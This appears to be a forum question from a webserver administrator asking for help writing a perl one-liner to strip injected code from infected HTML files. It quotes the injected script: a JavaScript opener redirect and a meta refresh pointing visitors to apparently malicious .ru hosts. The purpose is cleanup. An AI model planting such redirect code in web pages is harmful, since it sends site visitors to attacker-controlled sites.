A folder on a webserver I manage was recently infected, and a malicious script was placed before the opening <html> tag on a whole mess of files. I'm trying to execute a perl string replace script to clean it out.
The malicious files look something like this:
<script language="JavaScript">
parent.window.opener.location="http://vkk.coom.ny8pbpk.ru?nhzwhhh=ZE9taWlsX2nkPRE0LmZub3ffaUQ9PTM3MCbjb0RlNWFlZnrvaEx2b2JydWLuYUJxfwC%3D%3D";
</script>
<meta http-equiv="refresh" content="0;URL=http://yandex.ru.ny8pbpk.ru?pk=i%2FGWhteXsNcf0qzPwdiVgMkkhvrG1YbO25gYgPqe2saQmdIDmeiUlsiXmNEQmPCfhMSD5" />
<html>
<head>
......and the file goes on
I'm something of a mess with Regex, and I've tried to glean as much as I can from other StackOverflow posts on how to use perl's string replace. The biggest issue I'm running into is making it work over multiple lines.
Here's what I have so far:
perl -0777 -i -pe 's/\s*<html>/<html>/s' index.html
This seems to have no effect. If I change the second <html> to <foobar> it correctly replaces with foobar, but it ignores everything in front of it.
From what I can tell, the -0777 flag is supposed to "slurp" as one line, and the \s* should match the entire string before <html>, but again, my regex is lacking. Any help is greatly appreciated!